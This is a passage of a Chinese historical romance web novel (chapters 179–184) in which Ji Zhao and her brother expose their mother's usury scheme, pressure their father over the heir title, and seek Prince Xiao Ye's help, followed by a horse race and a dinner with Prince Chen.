纪荣将事说了一遍,让人抬来四个大箱子。 晋阳侯眼皮跳的更厉害。他逐个打开,里面是银灿灿的大元宝。 纪荣:“昨儿我查案,正巧查到一处地下银庄。那银庄放印子钱,正好张保富去支取银子。内厂的人将他差点当贼人抓住。 一问之下才知道这里是大夫人的一个私库藏银。一共有三万四千多两,还有几笔银子去放了印子钱。” 晋阳侯眼皮直跳:“人呢?张保富人呢?” 纪荣:“在内厂大牢。” 晋阳侯差点厥过去:“怎么能让他在牢房里?快去把人放了。” 纪荣:“父亲放心,他被抓起来没人审问。那牢房只我知道,还派了自己人守着。 现在问问父亲,要怎么处理?” 晋阳侯一口老血在胸中滚来滚去,说不出来。 “我还是第一次知道她还有这么一个私库银子……居然这么多银子!” 比他还多! 第179章 逼迫晋阳侯靠边站 纪荣在旁边催促晋阳侯该怎么办。 晋阳侯支支吾吾:“这些银子是你娘的,等她来了再做决定。” 纪荣皱眉:“父亲,你不知道大夫人在外面放了印子钱吗?这些银子是赃银。” 晋阳侯咬牙:“这个事我真不知道。府中中馈是她管的,她放不放我是不知的。” 就算是知道,也不能承认。 纪荣蹙眉:“父亲,那张保富怎么办?我只能保两日,两日后大理寺就要把人提走刑讯了。” 晋阳侯立刻道:“你如今不是内厂的统领吗?你权大,你把张保富偷偷放出来,让他逃走。” 纪荣眉心皱得更深。 他失望到了极点。 父亲这个样子与纪昭预料得毫无二致。 他先前还与纪昭说,父亲不是那种人。印子钱可能父亲不知,只要抓住罪魁祸首,父亲也一定会大义灭亲的。 但当时纪昭道,父亲不但知道大夫人放印子钱,还默许了,如果事发,父亲一定会尽力撇清任何关系。 现在如今…… 纪荣冷了脸色:“父亲,兹事体大。人不是说放就放的。” 晋阳侯:“对对对,你说得对。张保富知道太多了。如果被人再抓回去,我们只能先下手为强灭了他这个活口。” 纪荣:“……” 他转身就走。 纪昭被他带来。 晋阳侯见到纪昭,皱眉:“你来做什么?” 纪昭看了一眼纪荣:“大哥可与父亲都说了?” 纪荣:“说了。你劝劝父亲。” 纪昭心里叹了口气,眸光明澈:“父亲,您还要不要往上升迁?” 晋阳侯:“你这是什么话?为父正当壮年还是睿亲王的岳丈,将来若再立功,也不是不能当上国公的。” 纪昭叹气:“但母亲放了印子钱,还闹出了人命。这事父亲觉得能就这样无人知晓的隐藏下来?” 晋阳侯冷声:“她做的事与我无关。若是出了事,便由她出去抵罪。” 纪昭摇头:“母亲是侯夫人,是女儿的亲母。她若是真的出事了,女儿的睿王妃必定不保,就算睿亲王勉为其难娶了女儿,将来女儿还能得他的欢心吗?” “父亲的岳丈,恐怕睿亲王也是心里不认的。” 晋阳侯哑然。 他看看纪荣,再看看纪昭:“你们两人打算怎么做?” 纪昭听得他这么问,便知道父亲总算聪明一回。 她淡淡道:“女儿没打算做太过,要拔起萝卜带上泥,抽丝剥茧地将一干参与放印子钱的人都抓住。” 晋阳侯有片刻的心虚。 他并不干净。 晋阳侯:“好,不过也不能做得太过。” 纪荣:“父亲!” 晋阳侯:“还有呢?你母亲那边要怎么说?” 纪昭:“父亲这个时候还想要保住母亲?” 晋阳侯有了怒气:“不保还能怎么办?难道要我休了她不成?她可是你的亲母。你不能不孝。” 纪昭冷声:“她是我的亲母没错。但她放了印子钱,这事是铁证。父亲做不到大义灭亲,那就做个袖手旁观,两边不相帮。 不然到时候大哥查案子万一查出与父亲有关,那可不好说。” 晋阳侯大怒:“你在威胁你父亲?!你个孽女!” 他说着伸手就要打纪昭。 纪昭面色不变,但纪荣上前一步,挡在了面前。 晋阳侯瞧着比自己高一个头的大儿子,一怒之下怒了一怒便悻悻放下手。 他想了好一会儿,最终下了决心。咬牙:“罢了,只要你不要做得太过就好。” 纪昭放了心,又道:“还有一件事。” 晋阳侯:“还有什么事?” 他皱眉瞧着纪昭,脸色沉沉:“昭儿,你自从回京后府中就出了各种事。我不信你回府是没有别的目的。你搅风搅雨的,到底想要做什么。” 纪昭目光坦然:“女儿没想做什么。只想让好人得利,恶人受到惩罚。” “父亲,你封侯已经三年,却还没向宗人府交玉册立侯世子。” 晋阳侯听了这话,像是开水烫了猫。 他勃然大怒:“你!你要造反?” 纪昭冷声:“父亲,按着长幼,嫡庶,大哥理应为侯世子。请您早点下了决断。” 她说完转身就走。 晋阳侯在偏厅破口大骂。 他想追上来打纪昭,但纪荣一动不动堵着厅门。 晋阳侯气得脸皮涨红:“你也要造反?” 纪荣黝黑的面上没有多余的表情:“儿子不想造反,只想劝父亲三思。您苛责儿子可以,不许再对妹妹动手。” 晋阳侯气急反笑:“我明白了。你们兄妹早就联合一起。什么张保富的事,是你们筹划好了想要威胁我?最终目的便是你也贪图那侯世子的位置。” 纪荣没有如往常般任由晋阳侯打不还手,骂不还口。 他冷笑:“父亲觉得我会稀罕那侯世子之位?要不是妹妹劝我,我早就想等誉儿大一点就带着妻儿去西北过活。 可我走了,妹妹怎么办?她从小就父亲不喜,母亲不疼。五岁不到父亲就将她丢入军营散养着。当时你们心里怎么想的,谁人不知? 你们不把她当做亲女疼爱,只想她在军营里哪天就出了意外死了。但,妹妹没死,活得好好的,还立了一身军功回来,又豁出性命挣了个救驾之功。 如今的侯府都是她用命换来的。” 晋阳侯满脸愤怒渐渐变得满脸羞红。 他期期艾艾:“这,这是她的运气,也是纪家的运道。” 纪荣讥讽笑:“运气?一人一枪,立斩十几个刺客,最后力气不继被刺客一枪贯穿胸膛,差点死了,这也是运道?” “我答应妹妹要袭爵。就是不想辜负她用命挣来的一切。” “所以父亲三思,这侯世子到底要给谁!” 纪荣说完,头也不回地大步离开。 晋阳侯气得想摔茶盏,一回头却见老夫人冷着脸站在厅门边。 晋阳侯收了脸上的怒气,赶紧上前:“母亲,您怎么来了?” 老夫人冷笑:“你骂的那么大声,生怕全府的人都不知道。我当然得来。不来的话,话被人听了去,你的名声就毁了。” 晋阳侯扶了老夫人上座。 老夫人默默坐了一会儿,突然老泪流了下来:“家门不幸,家门不幸!” 第180章 找到罪证 她扶着心口,哭道:“是我老婆子做的孽。当初要不是为了所谓的家和万事兴,早早交出中馈,怎么会以致如此?” 晋阳侯是个孝顺的儿子,见老母亲哭泣自责,急忙跪下。 “母亲千万不要如此。是儿子的错,儿子轻信了那女人,才导致今日的祸事。” 老夫人却不听,哭道:“方才荣儿的话我听见了。我竟不知道你们这对歹毒夫妻竟然早早丢了昭儿去军营受罪。原来你们都是合计骗着我这个老太婆!” 晋阳侯愣住,随即大惊后悔。 原来纪昭不到五岁时,大夫人不想养她,便商议要将纪昭带回乡下让农户养着。 晋阳侯生怕老夫人不舍,又担心送女之事被老家的人知道,会报给老夫人。于是两夫妻便撒谎说带着纪昭在随军养着,其实是直接丢入了西北军营,一概不管。 这件事他与秦氏瞒着老夫人,过了好几年。 如今老夫人才知道原来自己心疼的大孙女竟然是早就被丢入军营中。 晋阳侯不停磕头。 老夫人此时恨极了面前的儿子,也恨极了还没归府的秦氏。 她沙哑着声:“你们这对歹毒夫妻。瞒上欺下。可怜我的大孙女不忍我伤心,还偏帮你们瞒着我。” “荣儿说得对。这侯府是昭儿性命挣来的。她不是男儿,若是男儿,这份天大的功劳也落不到你这个糊涂父亲身上。” “现在你给我交个底。侯世子你给不给老大?” 晋阳侯瞧着老母亲的怒容,心惊胆战:“给,给。” 老夫人呵呵笑了:“你不用与我阳奉阴违。一转头又改了主意。” 晋阳侯心虚低头。 他的确是这么想的。 不过知子莫若母,他那点小心思逃不过老夫人的眼睛。 老夫人:“你若改了主意,谁都不怕。老大荣儿长大了,也有了极好的前程。就算你偏心给了老二,他自己也能靠本事挣军功。所以你最好估量下,是要给老大锦上添花,还是给那托不起的老二。” 晋阳侯心里极纠结。 不过话已经挑明到了这个份上,最好的选择当然是给老大。 晋阳侯终于下了决定:“给老大。明儿我就去写奏章。” 老夫人脸上的怒容这才稍微转缓。 她问:“张保富到底是什么事?” 晋阳侯只能说了。 他也知道瞒不过,就算自己不说,纪荣和纪昭也会告诉老夫人。 早晚的事。 老夫人听了前因后果,心惊肉跳。 她竟不知道在自己眼皮子底下出了这等恶事。 她声音都发抖:“如今老大荣儿和昭儿怎么说?” 晋阳侯低声道:“他们的意思是,把这一干人都悄悄抓起来。至于秦氏,他们可能要将她拘在府中,不让她出去见人了。” 老夫人点头:“只能这样。若不是秦氏是昭儿的亲母,断不可留。” 晋阳侯叹了一口气。 老夫人突然盯着他:“你这次若是再心软。你的儿子和女儿都不会保你。” 晋阳侯跳了起来:“他们敢?!” 老夫人不说话,只瞧着他。 晋阳侯没了心气,垂头丧气:“儿子明白了。” …… 因为找出张保富这条线索,大夫人其余藏着的暗银都一一找出。 一干大大小小地下钱庄被纪荣带了亲卫找了出来,顺势找到大夫人各处藏着的账目。 算下来,足足有十余万两。 牵扯的人,从上到下,纪府足足有三十几人。 还不包括从商铺中走账的掌柜、跑腿的伙计,知晓内情的西正院的小厮和粗使奴仆。 一杆子撸下来,整个侯府去了三分之一的人。 西正院都快空了。 往日奴仆济济,花团锦簇的院子,竟有了萧索的景象。 铁证面前,晋阳侯冷汗如浆水似的冒了出来。 他只知道大夫人秦氏私放印子钱,竟不知道自己眼中“柔弱不能自理”“人淡如菊”的娇妻竟然手这么黑,心这么毒。 纪昭垂眸看着地上一箱一箱的赃银、一箱一箱的帐册,心里没有半点复仇的痛快。 不,应该说。 复仇的痛快只是一闪而过,但更多的是这些银子下埋着的是累累白骨招来的恶寒。 多少贫穷人家被骗,被欺压,家破人亡。 佛堂中,神佛慈悲垂眸,看不出喜怒。 纪昭轻声打破沉默:“大哥,这事要怎么处置?” 纪荣因连着三日缉凶、追赃,面容疲惫又冷肃。 “这事瞒不住也按不住。只能禀报九千岁。我已经报了,不敢一丝隐瞒。” 纪昭点头。 大哥的性子她最清楚,刚正不阿。 能让他悄悄办案不声张,已经是很给侯府面子。余下的,他不抽刀去杀了那罪魁祸首就算不错了。 晋阳侯脸色发白:“九千岁怎么说?” 纪荣:“九千岁的意思是,请睿亲王示下。” 他看向纪昭:“我没脸见睿亲王,小妹你辛苦走一趟。” 纪昭心中沉沉,不知道该怎么回答。 晋阳侯舔着脸:“昭儿,你大婚在即,这事实在是不宜扩大。你去找睿亲王求个情看怎么从轻处置……” 纪昭讥讽:“大哥没脸见睿亲王,女儿就有脸见了?女儿哪有那么大的面子。” 晋阳侯被怼了,悻悻不敢再说。 纪昭最终道:“先按着不动。以罪行轻重,先从轻开始发落。 罪行最轻的,例如只是跑腿并不知晓内情的,一律打发到了乡下庄子干活。知情的,但只是跑腿的,先押在内厂牢房,对外只说交代他们出去办差事。” “其余的,还是扣在内厂牢房中,严厉看守。等宴席过后,我亲自去拜见睿亲王殿下。” 晋阳侯吃惊:“宴会还要开?” 纪昭看向晋阳侯,眸光平静而冷冽。 晋阳侯悻悻:“昭儿你决定。你说要办就办。” 纪昭:“越是这种情形,侯府越是不能对外显出异常。人手不够就让二房三房都一起帮忙张罗。” 晋阳侯:“你母亲……” 纪昭不吭声。 纪荣:“母亲可能明日就回来了。父亲想好要怎么和她说吧。” 纪昭:“侯世子的折子,父亲拟好了吗?” 晋阳侯脸色僵了僵。 纪昭:“两三日了,父亲还没拟出来吗?” 晋阳侯看着地上一箱箱的账册,咬牙:“明日就能写出来了。” 他说完含怒拂袖离去。 佛堂中,纪昭与大哥纪荣默默对视。 纪昭淡淡的:“父亲还报最后一丝希望。” 纪荣心灰意冷:“如此逼迫亲父,实属不孝。这爵位不要也罢。” 纪昭:“大哥放心,我会让父亲心甘情愿将侯世子交给大哥。” 纪荣点头。 他让侍卫悄悄将这些账册和赃银运回了别的地方藏起来。 纪昭交代的,这些东西还不能放到内厂,一定要放到某个安全所在,由心腹看守。 第181章 萧烨帮忙处置 纪昭特地去见睿亲王萧烨。 从前为的是小事,而这次是大事。 纪昭一大早就正儿八经打扮妥当,既不会太过简素,也不会太过明媚张扬。 奶娘文氏在旁边说:“大小姐也不用如此郑重。王爷是大小姐未来的夫君,又处处给大小姐体面,这次一定也会给的。” 纪昭皱眉:“奶娘,人家肯给我体面是人家的善意,并不是理所当然。再说,攀附了睿亲王这门亲事,到底是我们纪家得利,不要有占人家便宜成了习惯的心。” 奶娘文氏听了这话,赶紧打了脸:“是,是我想错了。” 纪昭温和道:“不怪奶娘。普通人家都会这么想的,但睿亲王是天家。天家比普通人家多了一分法理。我让王爷做违背法理的事,自然得姿态低一点,恭敬点。” “还得提出补偿,不然王爷怎么可能长久帮衬我们?” 奶娘文氏:“是这个道理。还是大小姐想的通透。” 纪昭心里叹气。 她哪儿是想的通透,是心虚。 …… 纪昭出府时遇到了纪蕴带着周行知到府中玩。 周行知恭恭敬敬行礼。 纪昭含笑:“今日书院散学歇假吗?” 纪蕴:“是,休两日。大姐姐要去哪儿?我送你。” 纪昭:“不用了。你难得带书院的同窗来玩。记得留下来用午膳。” 周行知脸微微红了。 纪蕴笑道:“那是自然的。一会祖母也想见见行知。” 纪昭点头。 这是祖母想要亲自瞧瞧周行知人品样貌。 她温声吩咐:“见了祖母就带周公子出去玩,在府中还是太拘谨了。” 纪蕴没领会到纪昭的好心,笑道:“不会,一会儿探花郎师兄还来呢。我们三人在外院很自在的。” 纪昭微微挑眉。 苏玉臣还当真老老实实为纪府的少女们启蒙。 纪昭果然在府门口遇见了苏玉臣。 许久不见苏玉臣,他清减了不少。 他行礼:“见过纪家大小姐。这些日子可好?” 最后一句还是忍不住问了她好不好。 纪昭点了点头,含笑:“好。苏郎君这些日子好不好?看着倒是清减了不少。” 苏玉臣怔愣片刻。 他没想到纪昭竟看出自己的难受。 他低了头:“没什么,就是最近天热了,吃的不多。劳纪大小姐挂心。” 纪昭:“苏郎君是国之栋梁,又特地帮了纪府的忙。这是应该的。” 她说着吩咐晚秋:“回头从库房里面挑几份上好的补品给苏郎君。” 苏玉臣自然是不要的。 不过纪昭不容他拒绝,吩咐完了这才上了马车。 苏玉臣呆呆瞧着纪昭的马车远去,半天没回神。 身边的小厮小心翼翼瞧着他:“苏郎君,要不要进纪府?” 苏玉臣收回目光,黯然:“进。” 小厮见他神情沮丧,忍不住安慰:“苏郎君放心,纪家大小姐是准王妃。你做的事,她会记在心里,也会报答苏郎君的。” 苏玉臣:“……” 小厮又道:“小的懂,苏郎君这叫做但行好事,莫问前程。不是要报酬。不过再怎么样,苏郎君教了纪家那么多小姐,她们是苏郎君的学生,将来也会有几分情面的。” 苏玉臣听着小厮的胡乱安慰,竟想到了别处。 “我教了她的妹妹,那就是以后都有牵扯了。” 苏玉臣面上有了高兴的神色:“对,你说得极对。” 他振作,大步进了纪府。 …… 纪昭到了睿亲王府,不过却是从偏门进去。她如今还不是睿亲王妃,有些事还是得遮掩一下。 在无人的偏厅见到了萧烨。 他今日着藏青的龙纹锦袍,戴着一根墨色的龙簪。整个人冷肃,威严。 冷峻的俊脸上看不出喜怒,而越发觉得更加俊魅。 纪昭上前见礼,一点没打弯弯绕绕将事情经过都说了。 萧烨面上没有什么表情:“此事可大可小。往小的说,只是你母亲一人贪财,瞒着阖府众人做下这等事。 往大了说是你父亲的过错,还得连累你大哥和你的前途。” 纪昭跪下:“小女知道母亲犯了这等天大的罪过,罪无可恕。但是会弥补。” 她说了补偿方案。 将搜来的十万余两的赃银全部交给萧烨和九千岁,里面退还和弥补苦主,若是没找到苦主,再想个法子怎么补偿。 若是觉得这等补偿还不够,侯府会再拿五万两赔偿。 萧烨看了纪昭一眼:“你起来说话。” 纪昭恭敬起身。 萧烨:“孤愿意为你做保。这事不会祸及你大哥和你,而且可能还是一件好事。” 纪昭皱眉:“此话怎么讲?” 萧烨:“你明日随我进宫见皇上就知道了。”‘纪昭顿时明白了:“殿下这是要以过抵功?” 萧烨难得露出一丝笑容:“你倒是聪明。” 纪昭提着的一颗心终于落了下来。 萧烨有救驾之功,封无可封,但如果在皇帝猜忌的这个时候,以过错向皇帝示弱。皇帝会很高兴。 萧烨:“孤会让出一部分兵权,让皇上安心。不过算来,你大哥成为内厂统领,你母亲的罪过又被抹去,不算亏本。” 萧烨道:“明日一早你随我进宫。” 纪昭松了一大口气,应了。 她原以为这件事很难办,没想到在萧烨的口中三两句就算摆平了。 这便是至高权王的格局——万物皆可平衡。 接下来谈那些赃银去留。 萧烨的意见是统统都交给皇上处置,五万的罚银不需要交。 皇帝看不上这点银子,交了没有用处,还被人拿了把柄。 重要的是那些账册不能交出去,让纪荣飞速结案后悄悄一把火烧了。 纪昭一一点头同意。 萧烨处理事的方式简单干脆,甚至粗暴得很。 不过纪昭还是想岔了。 萧烨不过是看在纪昭面子上,不能太过粗暴。 若是换了他来,把那些参与的人都砍了头,杀得人头滚滚也没关系,账册更是一把火烧了,都不会送到皇帝面前自讨没趣。 在他心中,冤有头债有主。 只要杀了一干犯事的人,其余的人便是无罪一身轻。 第182章 追云逐日 正事处理完,纪昭才发现竟然还没过半个时辰。 她心里失笑。 自己一大早还郑重其事,心事重重,没想到在萧烨面前三言两语便决断干净。 纪昭高兴又觉得唏嘘。 萧烨见她眼脸下有乌青,蹙眉:“你这几日都在忙活这事?” 纪昭:“倒也不是。府中要准备宴请宾客。” 萧烨:“孤怎么没收到请帖?” 纪昭:“……” 两人面面相觑,纪昭急忙道:“宴请主要是为了给两位妹妹议亲。两位妹妹已经到了定亲年纪,得早做准备。” 萧烨冷哼:“你是压根没想起孤这茬吧。” 纪昭汗颜。 她想了想:“要不给殿下另外送一份?殿下有空吗?” 萧烨:“……” 纪昭察言观色,笑道:“那王爷定是有空的。若是王爷没空,我亲自来请。” 萧烨:“……” 两人坐了一会儿,萧烨:“你与我去马场跑马。崔国舅送的马鞍到了,还送了一套马鞭,马掌也重新钉了。” 纪昭:“……” 两人一起去马场。 果然那两匹汗血宝马油光水滑的在马场中随意跑动。 纪昭爱马,紧前几步去看自己的马儿。那马儿也是有灵性,瞧见纪昭来了便去蹭她的掌心。 纪昭越发喜欢。 萧烨将这马儿说是送给纪昭,骑去了行宫后一直在萧烨王府中养着。纪昭也不主动询问,因为也不知道这马是真的给了她,还是一时兴起由她骑一段。 萧烨:“你还没给她取名。” 纪昭这才想起来自己竟然没给马儿起名。 她犹豫:“殿下当真把这匹马送我?” 萧烨蹙眉:“当然送。难道说假的?孤从不耍人玩。” 纪昭真正高兴起来:“好,我以为……还以为……” 萧烨不耐烦打断:“快些起名字,然后让人调好马鞍和马掌,送入侯府。” 纪昭:“殿下的马叫什么?” 萧烨:“乌云踏雪。” 纪昭:“那我这马儿便叫做——追云逐日。” 萧烨挑眉:“有什么说法吗?” 纪昭笑道:“马儿浑身金光闪闪,犹如逐日。而且她日行千里,追云般神速。” 其实纪昭没说全。 她重生的执念便是追逐萧烨这宛若天日般耀眼的君王。 她是追云,便是要追赶这一轮天日的。 萧烨想了想,点头:“不错。” 马鞍拿来。 纪昭顿时愣住。 果然是世家的手笔,马鞍上镶嵌了不少宝石。每一颗都拇指大小,撬下来一颗都够穷人一家五口人几年吃喝。 纪昭连忙道:“不敢收。快些退回去。” 萧烨瞧了她一眼,吩咐下人:“把这些花里胡哨的都拆了,再将马鞍重新弄好了送来。” 下人捧着马鞍下去了。 马鞭也是一样,鞭子柄上密密麻麻的宝石,又大又亮眼。 这下萧烨无语,纪昭更是没眼看。 萧烨:“马鞭就收着吧。我另外让人做个实用的给你。” 纪昭问:“马掌不会也是黄金的吧?” 萧烨:“你倒是想的美。” 纪昭去看,马掌是正常的铁掌。这才稍稍松口气。 马掌钉好了,萧烨让她试试马。 纪昭内力不行,骑术却是很行的。一番上马纵马,英姿飒爽,看得马场的下人纷纷喝彩。 一圈下来,萧烨脸上罕见有笑容:“你骑术果然是好,都是战场上实用杀敌的招数。” 纪昭骑着兴起,邀约:“殿下也一起赛两圈。” 萧烨摇头:“乌云踏雪比你的马跑得更快,我胜之不武。” 纪昭笑道:“不试试怎么知道?” 萧烨不是扭捏的人,听了这话让人将乌云踏雪上了马鞍,然后衣衫也不换直接上了马。 他人本就高大,上了马更是宛若天神降临。 萧烨高高在马背上,斜睨纪昭:“真的敢赛一赛?” “敢!” 纪昭笑着一动马腹,追云逐日立刻蹿了出去。 萧烨瞧着她的身影,立刻跟上。两人便在马场上赛起了马儿。 乌云如风,追云如闪电,两人两马在马场疾驰如风,看得场外的人眼花缭乱。 萧烨有心要让让纪昭,下手控制马速。但没成想,这马儿灵性很足,第一圈只多出纪昭一个马身。 第二圈,多出纪昭和追云逐日半个马身。 第三圈,萧烨和纪昭并肩同行,不分先后。 第四圈,萧烨的乌云踏雪干脆落后纪昭和追云逐日大半个马身。 萧烨想赶上来,乌云踏雪却死活不肯超了追云逐日。 两人停下,萧烨瞧着身下的乌云踏雪半天无语。 纪昭笑了:“这马儿竟然懂得人情世故。知道公马不能越了母马去。” 萧烨丢了缰绳:“这马儿真蠢。” 纪昭笑着下了马:“但殿下还是赢了几圈。” 萧烨想了想,又问:“骑马比了没意思。孤考考你的枪法。” 纪昭摇头:“我内力只有一点点,怎么能考?” 萧烨:“无妨,孤看看你恢复如何。” 纪昭只能道:“我去换套衣衫。” 萧烨等她走了,这才问司马的小太监:“这马到底怎么回事?” 司马小太监满脸惊讶:“殿下不知?这乌云踏雪和准王妃的追云逐日是一对。保不齐过阵子追云逐日会有小马驹了。” 萧烨:“……” 陈王来了。 他刚远远就瞧见萧烨和纪昭赛马。 他笑呵呵道:“十四你有这么好玩的事也不喊九哥我。” 萧烨正在生闷气,冷冷瞧着他:“你怎么还不回封地?” 陈王笑呵呵道:“皇上说了,准我在京城玩几个月。” 萧烨:“你给了皇上什么好处?他竟然准许你在这里玩耍?” 陈王凑过去,神秘兮兮说:“我的封地查明有金矿。皇上很高兴。说我没藏私……” 萧烨:“……” 半天,他冷笑:“马蠢,人也蠢。蠢透了。” 他说完冷然转身去换衣衫了。 陈王被丢在原地,皱眉:“骂谁?骂我吗?为何我一来就骂我?我做了什么事惹得十四不高兴?” 他自言自语完,发现没人搭理自己,赶紧追赶过去。 …… 校场中,纪昭与萧烨过招。 她使长枪,萧烨使的是一根棍。 两人都是点到为止,萧烨耍着棍也很厉害,根本不怎么动那条残腿。 纪昭没有内力,过了一百多招后气力不济。 “不行,打不过。” 纪昭收了枪,表示不打了。 第183章 陈王要请封 她说完站在校场旁擦汗。 萧烨意犹未尽:“才一百多招就内力不行。裴神医不是诊治了吗?怎么见效那么慢?” 纪昭无言以对,半天才道:“我可是被捅了透心凉,经脉都坏损七八成。能活着已经算是不错了。” 萧烨不言语,走下来:“改日和裴神医说说,有什么法子让你恢复如常。” 陈王在旁边插嘴:“十四你有点怜香惜玉的心思好不好?她是你的王妃,将来不是上战场的,是给你生儿育女的。” 纪昭:“……” 萧烨:“……” 两人齐刷刷瞧着陈王,看得陈王满脸疑惑。 陈王:“我说错了?哪有哪家王妃不是娇滴滴地养着?十四,我说你也是无趣。你不带着你准王妃到处玩玩,游山玩水,逮着她练枪,你是不是傻……” “哎呦”陈王捂着嘴,说不出话来了。 萧烨收了手,冷笑:“呱噪。” 纪昭瞧见打陈王的是一颗玉扣。应该是萧烨从衣裳上扯下。 纪昭忍着笑,上前对陈王说:“陈王有所不知,我不想丢下功夫,所以让睿亲王费心时时考我。不是陈王所想的那样。” 陈王捂着脸,皱眉:“你难道还想上战场?” 纪昭笑而不语。 几人说着话,回到了王府的后院用酒食。 有陈王在,纪昭也不便就这么回侯府。她留下来陪着他们说话。 纪昭由侍女带着去简单梳洗更衣,换了一套轻便衣衫回席上。 萧烨也换了一身常服,头发散了一半,十分随意和陈王说话。 陈王瞧见纪昭来了,随意看了一眼却呆了呆:“十四,你的王妃好漂亮。” 纪昭一愣,萧烨目光也随之看过来。 彼时已近半下午,天光柔和许多。七彩光照在她身上轻薄的绣缠枝茉莉衣裙上,点点光华闪耀,宛若碎金。 玉样的肌肤如敷上了一层雪粉,深幽的美眸顾盼生辉,挺直的鼻,菱唇嫣红,气血很好的样子。 她整个人缓步走来,明艳的容光似将天光都比下来。 纪昭见两人盯着自己瞧,不自然顿住脚步。 她问:“是不是哪儿失礼了?” 萧烨回过神,冷冷瞪了一眼陈王:“你眼睛不想要了?” 陈王尴尬摸鼻子:“不是,十四弟媳是太好看了。非礼莫视,哎呦……” 他又被萧烨丢东西打了。 这一次是桌子上的一枚杏子。 纪昭犹豫要不要再去换一套衣裙。 萧烨:“不用换了,是老九的错。” 陈王赶紧赔罪:“弟媳,是我的错。不该乱说话。” 纪昭回礼。 她坐下来陪坐用膳。 陈王与萧烨说话:“皇上对老八就一直圈着不放吗?” 萧烨:“是。不然还能杀了他不成?那是手足兄弟。” 陈王啧啧:“老八这样惨,真是活该。” 萧烨:“你封地有金矿的事,皇上还说什么?” 陈王:“还能说什么?赏了我一些金银,把矿拿走了。” 他又说:“十四,我想让皇上封我个亲王当当。” 萧烨:“你要亲王做什么?你又不是皇上的同胞亲兄弟。” 陈王很不服气:“我揭穿了老八的阴谋,还护驾有功,还给了金矿。我不该封亲王吗?你去与皇上说,封我个亲王当当。” 萧烨俊脸黑了:“我不去。” 陈王凑过去:“那你让皇上赐我个和你一样大的王府。我在京城的王府太破太小了。” 萧烨:“……” 纪昭边听边想笑。 她算是看出来了,陈王这人性子好又天真良善。可能因为如此,萧烨不太瞧得上陈王。 但陈王好像很喜欢黏着萧烨。 这些事他非要凑到萧烨面前自讨没趣,用脚想也知道萧烨是不可能在这个节骨眼上替陈王讨赏请封。 萧烨被陈王烦着,冷冷问:“是哪个人撺掇你要封亲王的?” 陈王有一瞬的心虚:“我,当然是我。还有谁。” 萧烨冷笑:“是你的王妃,还是那个许侧妃?” 陈王跳起来:“不是许侧妃。那个女人我回去定要问清楚她和老八是什么关系。” 萧烨:“还有什么关系?青梅竹马,两小无猜。” 陈王:“……” 萧烨却不打算放过他:“若是有人让你这个节骨眼上请封,你告诉我。我让人去替你清理门户。” 陈王不明所以:“为什么?” 萧烨冷冷瞧着他:“老八都被圈起来了,你还不夹着尾巴做人?这个时候跳那么高,你想死得早吗?” 陈王不敢说话了。 纪昭忽然道:“陈王殿下,我这里有个提议,您要不要听听?” 陈王勉强振作精神:“你说。” 纪昭:“西南如今大旱。皇上正因为此事而发愁。你可以请旨让皇上拨点银子让你赈灾。” 陈王想了想:“那我有什么好处?” 纪昭:“西南灾情要是缓和,皇上就会顺理成章封赏你。要是亲王头衔不好封,也会给你扩府邸的。” 陈王高兴:“这个主意好!我要让几个瞧不起的兄弟知道,我也不是没才干的。” 萧烨看了纪昭一眼,不说话。 陈王有了主心骨,席间十分高兴。 一番笑谈,陈王知道纪府要办宴席,也讨了帖子。 陈王:“弟媳,这就是你的不对。你府中要办宴席,怎么能不请我?我可是和你有过命交情!” 纪昭:“……” 萧烨呵斥:“别胡说。什么过命交情?” 陈王不服气:“在行宫不是我们一起破了那个凤凰祥瑞吗?刺客行刺皇上的时候,我们都在。” 萧烨:“都在,就是过命交情了?” 陈王才不管他,对纪昭笑着说:“给我帖子。我带人过去你府上玩。不然我在京城一个人挺无聊。十四又不喜欢和我一起玩。” 纪昭见他哀求,只能道:“陈王殿下言重了。一定给陈王殿下下帖子。只要不要嫌侯府简陋无趣。” 陈王笑道:“怎么会嫌弃?十四也去,我们搞点好玩的。” 萧烨:“……” 说说笑笑,三人用完酒食。陈王回去了。 纪昭向萧烨告辞。 萧烨无言瞧了纪昭一会。 纪昭不自在摸了摸头发。 萧烨这才缓缓说:“以后不用给陈王出主意了。朝政那些事,很复杂。” 纪昭心里一紧,请罪:“是小女过于卖弄了。以后一定谨言慎行。” 萧烨摇头:“不是责怪你。” 纪昭松了一口气。 第184章 大夫人回京 萧烨:“你给陈王出的主意很高明。说实话,孤对你刮目相看。” 纪昭低头:“多谢殿下夸奖。” 萧烨:“不过陈王这个人素来没脑子,又爱张扬。这差事若是他办好也就好,若是办不好你岂不是要担责?” 纪昭愣住。 她想到了萧烨能责怪的各种理由,唯独没想到他不赞同她给陈王出主意,是怕她担责。 心突然间涌过暖流,从未有过的珍重。 她眼眶湿润,低了头:“小女没想到这点。” 萧烨见她低头,以为自己说的话重了。 他道:“不过你也不用担心,有孤在,他不敢怪你也不敢把你当挡箭牌。总之,以后你若是要出主意可以与孤先说说。” 纪昭抬头,嫣然笑了笑:“是。以后定不会这么鲁莽多言。” 萧烨见她笑容晏晏,眸子中光华隐动,怔愣住。 纪昭告辞:“明日帖子一定早早送上。” 萧烨忽地道:“你衣衫……” 纪昭以为他说的是自己身上这套,连忙道:“这衣衫明日让下人拿去浆洗下,送还王府。” 萧烨皱眉:“不是这个意思。你以后可以穿艳丽点的衣衫。” 纪昭莫名看着他。 萧烨别过脸:“你不用穿素色的,正的颜色衬你。” 纪昭得了这没头没脑的一句,心中纳闷。 不过也不好多问,她转身离开了。 纪昭上了马车还在想着这句话是什么意思。 晚秋:“大小姐怎么忧心忡忡的,睿王不帮忙吗?” 纪昭:“不是。他让我不要穿素色的,说要穿正色的。” 晚秋莫名奇妙:“是这么说的吗?正色?哦,奴婢晓得了。” 纪昭:“快些说说。” 晚秋笑道:“如今睿亲王是顶格的亲王,正色为尊,间色为贱。殿下是要让大小姐以后不要穿间色的衣衫。” 纪昭皱眉:“是这么个意思吗?” 晚秋:“不然呢?殿下要么是夸小姐美,正色的衣裙更衬容色。许是小姐领会错了。” 纪昭摇头:“他夸我做什么?” 直觉萧烨此人不可能夸自己,于是纪昭相信应该是正色为尊,间色为贱。 她道:“以后我去见睿王,间色的衣衫就不要穿了。” 今日穿的那套有间色。 一路无话到了侯府。 纪昭补下了两个帖子。一张给睿亲王萧烨,一张给陈王。然后又将他们要到来的事与父亲和祖母那边说了。 晋阳侯那边自然不必说,十分高兴。 祖母知道后,传话让府中的管事将菜肴品级都提一提。 纪昭梳洗后便睡了。 一夜无话。 第二日一早,她起身梳洗打扮,准备与萧烨一起进宫。 